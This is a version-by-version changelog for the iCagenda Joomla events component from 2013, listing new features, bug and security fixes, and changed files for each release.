~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
+ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
- [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php


iCagenda 3.2.7 <small style="font-weight:normal;">(2013.11.23)</small>
================================================================================
~ [MODULE iC calendar] Changed : minor edit in sql request of module iC calendar
# [LOW] Fixed : bug in breadcrumbs event details view.
# [THEME PACKS][LOW] Fixed : possible issue of display break when using ic_rounded theme (depending of your site template).

* Changed files in 3.2.7
~ [MODULE] modules/mod_iccalendar/helper.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
~ site/views/list/tmpl/event.php


iCagenda 3.2.6 <small style="font-weight:normal;">(2013.11.21)</small>
================================================================================
! New : Option (menu and global) to display Category informations; title and/or description (in header of list of events).
+ Added : Event Details view added to Breadcrumbs.
+ Added : Option Top & Bottom for navigation arrows (list of events).
# [MODULE iC Event List][PRO] Fixed : time not displayed correctly in module iC Event List.
# [MODULE iC Event List][PRO] Fixed : clic to event details views was not working on IE 9 (and under) with icrounded layout.

* Changed files in 3.2.6
~ admin/config.xml
+ admin/models/fields/modal/icmulti_checkbox.php
+ admin/models/fields/modal/icmulti_opt.php
~ admin/models/forms/category.xml
~ admin/views/icagenda/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/view.html.php


iCagenda 3.2.5 <small style="font-weight:normal;">(2013.11.11)</small>
================================================================================
! Terms and Conditions Option added to registration form.
! Design compatibility with Joomla 3.2.0 (admin header html) and enhancements in admin display.
+ [THEME PACKS] Added css and php integration of registration infos in calendar tooltip.
+ [MODULE iC Calendar] Added : Options to display city, name of venue, short description, and registration infos (number of seats, seats available and already registered).
~ [MODULE iC Calendar] Changed : 'today' day is now using joomla timezone (was server timezone before).

* Changed files in 3.2.5
~ admin/add/css/icagenda.css
~ admin/add/css/icagenda.j25.css
~ admin/config.xml
- admin/models/fields/eventtitle.php
+ admin/models/fields/modal/ictxt_article.php
+ admin/models/fields/modal/ictxt_content.php
+ admin/models/fields/modal/ictxt_default.php
+ admin/models/fields/modal/ictxt_type.php
~ admin/models/forms/category.xml
~ admin/models/forms/event.xml
~ admin/views/categories/view.html.php
~ admin/views/category/tmpl/edit.php
~ admin/views/category/view.html.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/events/view.html.php
~ admin/views/icagenda/view.html.php
~ admin/views/info/view.html.php
~ admin/views/mail/view.html.php
~ admin/views/registrations/view.html.php
~ admin/views/themes/view.html.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
- site/add/js/address.js
- site/add/js/dates.js
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ site/views/list/tmpl/registration.php


iCagenda 3.2.4 <small style="font-weight:normal;">(2013.10.29)</small>
================================================================================
+ [MODULE iC Event List][PRO] Added : category color as background of the date, in 'default' layout.
~ [MODULE iC Calendar] Changed : authorizes <br /> and <br> html tags in Short Description.
# Fixed : Issue when only sunday selected for period events, all days of the week were displayed.
# Fixed : Not display of Google Maps (blank) after update to last release 3.2.3, when Google Maps Global Options were not set before.
# Fixed : safehtml filter from joomla not working in frontend (skipping html tags, as should not). Filter set now to raw to not skip tags.
# Fixed : issue when access levels to Event Submission Form set to multiple levels (was not filtering access levels as expected).
# [THEME PACKS] Fixed : Issue Alignement of editor buttons in submission form.
# [MODULE iC Event List][PRO] Fixed : wrong display of events in column, due to a conflict in some site templates.

* Changed files in 3.2.4
~ admin/views/event/tmpl/edit.php
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ site/views/list/tmpl/default.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/view.html.php


iCagenda 3.2.3 <small style="font-weight:normal;">(2013.10.20)</small>
================================================================================
! [THEME PACKS] Updated : enhancements of ic_rounded theme pack, to give a better responsive experience. All table tags have been removed, and replace with div tags, and with addition of @media css styling depending of the device (mobile, tablet, desktop). This new version of ic_rounded theme pack will now have version number respectively to the component version. (to improve tracking updates by users creating their own theme. For your information, a website page is in preparation for you to get more information and documentation about creating and updating a personal Theme Pack, and new features for Theme Pack manager are in brainstorming!).
! No loading of Google Maps scripts, if no address is set, or if global option is set on Hide (to speed up loading when this files are not needed).
+ Added : missing Options Week Days in Frontend Submission Form.
+ [MODULE iC Event List][PRO] Added : Options to display date and time, city, short description, and registration infos (number of seats, seats available and already booked).
~ [THEME PACKS] Changed : enhancements of the back arrow to detect if a previous page has been visited. Code in themes php file is now simplified.
~ Changed : enhancements of Open Graph tags (title, type, image, url, description, sitename).
~ Changed : enhancements and changes in <hn> tags used in iCagenda, to able a better structural hierarchy of list of events. (auto-detect if page heading is displayed in content or not, to set properly the Hn tag).
~ Changed : views php files to speed up loading of iCagenda (list of events, event details and event registration).
# Fixed : Calendar Issue; Bug in some countries about the time change. If a date of an event over a period was the day of the time change, it was generated 2 times. The new feature integrates this setting to not double this day.


* Changed files in 3.2.3
+ admin/models/fields/modal/icvalue_field.php
+ admin/models/fields/modal/icvalue_opt.php
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
+ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_calendar.php
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_list.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
+ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_alldates.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_calendar.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php


iCagenda 3.2.2 <small style="font-weight:normal;">(2013.10.10)</small>
================================================================================
! [iCicons] Use of integrated vector icons 'iCicons' designed for iCagenda (will evolve!).
# Fixed : List of dates in registration form (was not filtering by weekdays).
# [iCicons] Fixed : Android not display of arrows in ascii code (calendar, back button, back/next navigation).
# [iCicons] Fixed : Iphone/Ipad, arrows were not clickable (calendar, back button, back/next navigation).
# Fixed : ACL access levels filtering for events in front-end.
# Fixed : Request of Itemid in submit form.
~ Changed : better filtering of Approval access.
~ Changed : clean-up of some php functions, and sql request in frontend.
~ [THEME PACKS] Changed : enhancements of module css, and adding vector icon for back button.

* Changed files in 3.2.2
~ admin/views/events/tmpl/default.php
~ icagenda.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ site/helpers/icmodel.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/default.xml
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
+ [FOLDER] media/icicons/
+ [FOLDER] media/icicons/fonts/
+ media/icicons/fonts/iCicons.eot
+ media/icicons/fonts/iCicons.svg
+ media/icicons/fonts/iCicons.ttf
+ media/icicons/fonts/iCicons.woff
+ media/icicons/lte-ie7.js
+ media/icicons/style.css


iCagenda 3.2.1 <small style="font-weight:normal;">(2013.10.07)</small>
================================================================================
! First Stable release with 'Submit an Event' feature. For Users of the free version, see all the Release Notes of previous RC versions (available for Pro).
~ Changed : Use of DATE_FORMAT_LC3 in list of events, admin (to get date in Russian on windows server).
# Fixed : Remove nowrap css class attribute, to prevent not wrapping to the next line for long title (this is solved in iCagenda, but you may have the same problem in Joomla 3 articles. Proposal of modification added on Joomla core Github).
# Fixed : Error message when updating from an older version, if category filter was set to one category (new option multiple-categories filtering).

* Changed files in 3.2.1
~ admin/views/events/tmpl/default.php
~ site/helpers/icmodel.php
~ site/models/list.php


iCagenda 3.2.0 RC4 <small style="font-weight:normal;">(2013.10.04)</small>
================================================================================
! Added : New option, Multi-selection of categories, in parameters of the menu link to list of events.
! Changed : Updated Google Maps API to V3 https
+ Added : Notification email to a user when his event submitted has been approved by a manager.
+ Added : Redirect to login page if Approval Manager is not connected on event details page (replacing 404 page).
+ Added : New icons for 'Approve this event' (J2.5 using icons, and J3 using icomoon).
+ Added : New tooltip script for manager icons.
+ Added : Router SEF for Submit an Event.
# [LOW] Bug : inserting an extra number data at the end of the footer text line, in notification email send to Approval managers.
# [LOW] Bug : Number of events in header was not well set, when an Approval Manager is logged-in.
# [LOW] Display : Display of info tooltip when Phone Field not shown in registration form.
# [MEDIUM] Bug : display of 'sunday', when no days of the week selected for a period event, in event details view.
~ [THEME PACKS] Changed : Manager Icons are removed from theme packs (to prevent not display in personal theme pack) and added in event.php file.
~ Changed : Attachment opens now in a new window (target blank).

* Changed files in 3.2.0 RC4
~ admin/config.xml
~ admin/models/fields/modal/cat.php
+ admin/models/fields/modal/multicat.php
~ admin/models/forms/event.xml
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ icagenda.xml
~ site/add/css/style.css
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ site/router.php
~ [THEME PACKS] site/themes/default.xml
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_list.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php
+ [FOLDER] media/css/
+ media/css/tipTip.css
+ [FOLDER] media/css/manager/
+ media/images/manager/approval_16.png
+ [FOLDER] media/js/
+ media/js/jquery.tipTip.js



iCagenda 3.2.0 RC3 <small style="font-weight:normal;">(2013.09.26)</small>
================================================================================
! Changes in the display of Global Options (added General Settings Tab)
! Fixed : important issue in notification emails send to managers authorized to approve events (due to a bug if user is depending of more than one user groups)
! Changed : Approval can be processed directly in Frontend, at event preview page.
+ Added : Check if managers with Approval permissions are Enabled and Activated.
+ Added : Option to select Template in menu-item link 'Submit an Event'.
+ Added : Global option to enable or disable auto login in url links included in notification emails.
+ Added : implemented Page Header and page class suffix in 'Submit an Event' page.
~ Changed : Events submitted in Frontend by a user (manager) belonging to an authorized group will be automatically approved.
~ Changed : Back button in event details view return to list of events ( replace history.go(-1) ).

* Changed files in 3.2.0 RC3
+ admin/add/elements/desc.php
~ admin/config.xml
~ admin/models/forms/event.xml
~ script.icagenda.pro.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


iCagenda 3.2.0 RC2 <small style="font-weight:normal;">(2013.09.22)</small>
================================================================================
# Fixed : Access Permissions to 'Submit an Event' form (missing global option).
+ Added : Options to customize the content when a user access to the 'Submit an Event' page, and this user is not connected, or connected but does not have sufficient rights.

* Changed files in 3.2.0 RC2
~ admin/config.xml
+ admin/models/fields/modal/ictext_content.php
+ admin/models/fields/modal/ictext_type.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ site/views/submit/tmpl/default.php


iCagenda 3.2.0 RC <small style="font-weight:normal;">(2013.09.20)</small>
================================================================================
! NEW : Menu Type to 'Submit an Event' in frontend.
! NEW : Selection of days of the week for period events (additional options to come for dates settings!).
! NEW : Plugin iCagenda Autologin.

* Changed files in 3.2.0 RC
~ admin/config.xml
~ admin/models/event.php
~ admin/models/events.php
+ admin/models/fields/modal/tos_article.php
~ admin/models/fields/modal/tos_content.php
+ admin/models/fields/modal/tos_default.php
+ admin/models/fields/modal/tos_type.php
~ admin/tables/event.php
~ admin/views/event/tmpl/edit.php
~ [MODULE PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ script.icagenda.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/default.xml
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_list.php
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
+ site/views/submit/tmpl/default.php
+ site/views/submit/tmpl/default.xml
+ site/views/submit/tmpl/send.php
+ site/views/submit/view.html.php
+ [PLUGIN] plugins/plg_ic_autologin/ic_autologin.php
+ [PLUGIN] plugins/plg_ic_autologin/ic_autologin.xml
+ SQL : Adding 'daystime' column to table icagenda_events


iCagenda 3.1.13 <small style="font-weight:normal;">(2013.09.20)</small>
================================================================================
# Fixed : display in frontend of the fake date 30 november 1999, if no single date is set.

* Changed files in 3.1.13
~ site/helpers/icmodel.php


iCagenda 3.1.12 <small style="font-weight:normal;">(2013.09.17)</small>
================================================================================
# Fixed : A problem with the control of the upcoming date for events over a period (unpublished event and message 'no valid date'). This bug is present since version 3.1.5, and rarely appeared.
# Fixed : conflict CSS days font color in calendar module with some Shape5 templates.

* Changed files in 3.1.12
~ site/helpers/icmodel.php
~ [THEME PACKS] site/themes/default.xml
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css


iCagenda 3.1.11 <small style="font-weight:normal;">(2013.09.13)</small>
================================================================================
# Fixed : Italian bug in translation files, responsible of missing features in event edit (admin).
# Fixed : Error mktime when saving a new event (due to no filling of single dates). A fix should update in the same way events with this issue in the frontend.

* Changed files in 3.1.11
~ admin/models/fields/modal/date.php
~ admin/views/event/tmpl/edit.php
~ site/helpers/icmodel.php


iCagenda 3.1.10 <small style="font-weight:normal;">(2013.09.12)</small>
================================================================================
+ added : control if allow_url_fopen and GD are enabled (thumbnails generator)
+ added : files to prepare the next release with Submit an Event feature!
+ added : Approval option in event edit (will be operating in release 3.2!).
~ Changed : new dates control when saving an event, display now an alert message for new event, and block saving of a new event if no valid date.
~ Changed : enhancement of period datepicker (not possible now to have end date before start date)
# Fixed : not generation of thumbs when extension of a file in caps.
# MODULE iC calendar : Fixed possible conflicts due to div tags enclosed within scripts (rare conflict, manifested by the appearance of a part of the script on the page, and the non-functioning of the calendar).
# THEME IC_ROUNDED : display of next date (Time 2 times), list of events.

* Changed files in 3.1.10
~ admin/add/js/icdates.js
~ admin/config.xml
~ admin/controllers/events.php
+ admin/helpers/html/events.php
~ admin/models/event.php
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/enddate.php
~ admin/models/fields/modal/startdate.php
+ admin/models/fields/modal/tos_content.php
~ admin/models/forms/event.xml
~ admin/tables/event.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ [PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ modules/mod_iccalendar/helper.php
~ modules/mod_iccalendar/mod_iccalendar.php
~ site/add/js/icdates.js
~ site/helpers/icmodel.php
+ site/models/forms/submit.xml
~ site/models/list.php
+ site/models/submit.php
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_list.php
+ SQL : Adding 'approval' column to table icagenda_events


iCagenda 3.1.9 <small style="font-weight:normal;">(2013.09.06)</small>
================================================================================
! MODULE iC calendar : possibility now to publish many calendars on a single page.
+ Added : Extra-control if mime-type of the event's image is correct (in order to process thumbnails creation).
+ Added : Complete or not form fields 'Name' and 'Email' with the profile information of a Joomla user connected, in registration form.
+ Added : Option to enable or disable the thumbnail generator.
+ Added : 'Notes' field text area in Registration form (set disabled as default).
+ Added : Option Show/Hide 'Notes' in registration form.
+ Added : Option Show/Hide 'Phone' in registration form.
+ Added : Information and control of folder creation used by iCagenda (thumbnails, attachments).
~ THEME PACKS : version 2.0 (default and ic_rounded).
~ Changed : period of dates with start date the same day than end date is now displayed as 'date start time - end time' (eg. 23 April 2013 10:00-19:00)
~ Changed : list of date formats was without <optgroup> infos in Joomla 3
# MODULE iC calendar : Fixed, Tooltip Close X button was not working on Apple mobile devices.
# Fixed : bugs in thumbnails generator if ROOT/images folder doesn't exist. Solve an issue if path to images is not 'images'.

* Changed files in 3.1.9
~ admin/config.xml
~ admin/models/event.php
~ admin/models/fields/iclist/globalization.php
~ admin/models/fields/modal/enddate.php
~ admin/models/fields/modal/startdate.php
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/tables/event.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
~ media/scripts/icthumb.php
~ [PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
+ modules/mod_iccalendar/helper.php
~ modules/mod_iccalendar/mod_iccalendar.php
~ modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
- site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ [THEME PACKS] site/themes/default.xml
~ [THEME PACKS] site/themes/ic_rounded.xml
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
+ SQL : Adding 'created_by_email' column to table icagenda_events
+ SQL : Adding 'weekdays' column to table icagenda_events
+ SQL : Adding 'notes' column to table icagenda_registration


iCagenda 3.1.8 <small style="font-weight:normal;">(2013.08.30)</small>
================================================================================
# Fixed : Error message in liveupdate (developped by Nicholas from Akeeba) to work under php 5.2. I've added a php control to be able to load storage.php file. But, we truly recommend every user to upgrade their php version to a minimum of 5.3, as recommended by Joomla core, and as minimum to be able to install Joomla 3. In the future, you can encounter other such issue, or error message, if you're still in a PHP version lower than 5.3.
+ Added : Alert Message in control panel of the component, if PHP version is lower than 5.3.

* Changed files in 3.1.8
~ admin/liveupdate/classes/storage/storage.php
~ admin/views/icagenda/tmpl/default.php


iCagenda 3.1.7 <small style="font-weight:normal;">(2013.08.29)</small>
================================================================================
+ Added : Created_by filter in list of registered users (admin).
+ Added : Option to use php function checkdnsrr in registration form, to check if email provider is valid (this option is now disabled by default).
+ Added : Options for event details view: show/hide dates, Google Maps, information... and set access level for some.
+ Added : Options to order by dates list of single dates, and display a vertical or horizontal list.
+ Added : Option for registration form : auto-filled name or username, in name's form field (was only name before).
+ MODULE iC calendar : Option to display only start date in the calendar, in case of an event over a period.
~ MODULE iC calendar : Changes in script code of function.js file to prevent some conflict.
~ Changed : Search in registrations list extended: username, name, email, date, phone, people... (only search in Title before this release)
~ Changed : Default value is now set to "by individual date" in 'Registration Type' field.
~ Changed : Upgraded files of LiveUpdate by Akeeba, updates system integrated in iCagenda.
# Fixed : sending notification email to author of an event, when new registration. Fixed of [AUTHOREMAIL] tag.
# Fixed : Error Debug of Google Maps (icmap.js).

* Changed files in 3.1.7
~ admin/config.xml
~ admin/liveupdate/ (All php files of this folder updated)
+ admin/models/fields/modal/checkdnsrr.php
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
~ modules/mod_iccalendar/js/function.js
~ modules/mod_iccalendar/mod_iccalendar.xml
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/js/icmap.js
~ site/themes/packs/default/default_event.php
~ site/views/list/tmpl/registration.php


iCagenda 3.1.6 <small style="font-weight:normal;">(2013.08.20)</small>
================================================================================
# Fixed : NextDate control when event set on a period in the future.
+ Added : Control of time when event with a date in a period the same as a single date.
+ Added : On windows server and php version < 5.3, disable check function if provider of an email address during registration is valid, as checkdnsrr is implemented on windows server only since php 5.3.0

* Changed files in 3.1.6
~ site/helpers/icmodel.php


iCagenda 3.1.5 Security Release and enhancements! <small style="font-weight:normal;">(2013.08.19)</small>
================================================================================
! Security Release : fixed a XSS vulnerability discovered by Stefan Horlacher from Compass Security AG (www.csnc.ch) (many thanks Stefan to keep the web clean and secured!). Another issue was resolved, discovered by Giusebos, which allowed sending spam to the administrator and the creator of the event, using cookies via registration form. And that's not all! As we always want to add much more security, some filtering enhancements have been added to the registration form (see below).
! Change : Now, when an event over a period with an end date and its time set to 00:00:00, this end date is displayed in frontend (list of events, and modules).
+ Added : New options in filtering events in menuitem. Now you can display all events, upcoming events, past events, events of the day and upcoming, or today's events.
+ Added : Page 404 when event not found.
+ Added : Enhancement of Email control during registration. Test if provider is valid.
+ Added : Test of the Name during registration. Now, a name cannot start with a number and cannot contain any of the following characters: / \ < > "_QQ_" [ ] ( ) " ; = + &.
+ Added : Control in front-end if dates of events are valid (control was before only in admin edit)
# Fixed : was counted archived events in header of list of events, and should not.
# Fixed : if end time is lower or equal to start time of an event over a period, end date is displayed.
# Fixed : Author name and username were not correctly displayed in admin events list, and now display correctly the user selected in 'created by'.

* Changed files in 3.1.5
~ admin/models/events.php
~ admin/tables/event.php
~ admin/views/events/tmpl/default.php
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php


iCagenda 3.1.4 <small style="font-weight:normal;">(2013.08.13)</small>
================================================================================
# Fixed : bug in function for detecting wrong dates entered by user, which was not always working as expected, depending of time setting in joomla config
# Fixed : change in function for globalized date format of month and of day, to prevent some errors due to locale (Russian...)
# Fixed : Not sending notification email to the registered user (if his email address is entered and required)
+ Added : Control of event ID to prevent spamming emails to administrator by a robot (notification email admin)
~ Changed : Translation of Date in current language (admin - list of events)

* Changed files in 3.1.4
~ admin/tables/event.php
~ admin/views/events/tmpl/default.php
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/themes/packs/default/css/default_module.css
~ site/themes/packs/ic_rounded/css/ic_rounded_module.css


iCagenda 3.1.3 <small style="font-weight:normal;">(2013.08.09)</small>
================================================================================
# Fixed : global option to hide the participants list not working properly
# Fixed : notice message above registration option field, in event edit
~ MODULE iC calendar : changed, access levels control, to speed up loading of pages with calendar
+ MODULE iC calendar : loading picture when charging a new month

* Changed files in 3.1.3
~ admin/models/fields/modal/ph_regbt.php
~ modules/mod_iccalendar/js/function.js
~ modules/mod_iccalendar/mod_iccalendar.php
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/themes/packs/default/css/default_module.css
~ site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ (added) site/themes/packs/default/images/ic_load.png
~ (added) site/themes/packs/ic_rounded/images/ic_load.png


iCagenda 3.1.2 <small style="font-weight:normal;">(2013.08.05)</small>
================================================================================
! Important editing of thumbnails generator (List of events in admin, Calendar module, and Event List module). Now, file renaming for thumbnails (remove all special caracters to get a clean url for image), and copy of distant pictures (to prevent broken link). Accepted as image extensions (File Types) for event image : jpg, jpeg, png, gif, bmp
# Fixed : Slow change of month of the calendar (thumbnail generator error function)
# Fixed : Slow display of events in module iC Event List (Pro Version)
~ changed : [J3 issue] jQuery UI version in admin, from 1.9.2 to 1.8.23 to prevent a conflict with description tooltip (appeared since joomla 3.1.4)

* Changed files in 3.1.2
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ media/scripts/icthumb.php
~ script.icagenda.php
~ site/helpers/icmodcalendar.php


iCagenda 3.1.1 <small style="font-weight:normal;">(2013.07.29)</small>
================================================================================
# Fixed : Wrong filtering of Viewing Access Levels in list of events page
# Fixed : error in modules (front-end), when url to image is broken or invalid
~ changed : url of image when sharing on facebook (other enhancements planned)

* Changed files in 3.1.1
~ admin/views/icagenda/view.html.php
~ script.icagenda.php
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/views/list/tmpl/event.php


iCagenda 3.1.0 <small style="font-weight:normal;">(2013.07.26)</small>
================================================================================
! New : Automatic thumbnails generator in modules (some options, and enhancements will be added later in theme packs)
# Fixed : Issues with J3 after upgrade from joomla 3.1.x to 3.1.4 (error 500 default layout missing, and JFile not found)
# Fixed : not sending admin notification email (error in 3.0.1 and 3.0 pre-releases)
# Fixed : No updating of Next Date when menu set to Upcoming Events
# Fixed : participant slide effect and display options not working
+ Added : Global Option for email field in frontend registration (required or not)
~ many code review

* Changed files in 3.1.0
~ admin/config.xml
~ admin/models/categories.php
~ admin/models/fields/modal/ph_regbt.php
~ admin/tables/event.php
~ admin/views/events/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ media/scripts/icthumb.php
~ script.icagenda.php
~ site/helpers/icmodcalendar.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ site/themes/packs/default/default_event.php
~ site/themes/packs/default/css/default_component.css
~ site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ site/views/list/tmpl/registration.php


iCagenda 3.0.1 <small style="font-weight:normal;">(2013.07.04)</small>
================================================================================
# Fixed : auto-play of the tutorial video on Chrome and Safari (the video should not autoplay)
# Fixed : missing admin pagination in categories list
# Fixed : buttons display over the datepicker (time show/hide button activated)

* Changed files in 3.0.1
~ admin/add/css/jquery-ui-1.8.17.custom.css
~ admin/views/categories/tmpl/default.php
~ admin/views/categories/view.html.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php


iCagenda 3.0 RC <small style="font-weight:normal;">(2013.06.30)</small>
================================================================================
# Fixed : Thumbnail generator in events list admin : error when using a distant url
# Fixed : Position and zooming in admin, in events created before update
# Fixed : Colors of options buttons in event admin edit : not always visible, in events created before update
# Fixed : Theme ic_rounded : problem of display with long title
+ Added : Custom text option for registration button
+ Added : Control if link to event picture is valid, in admin
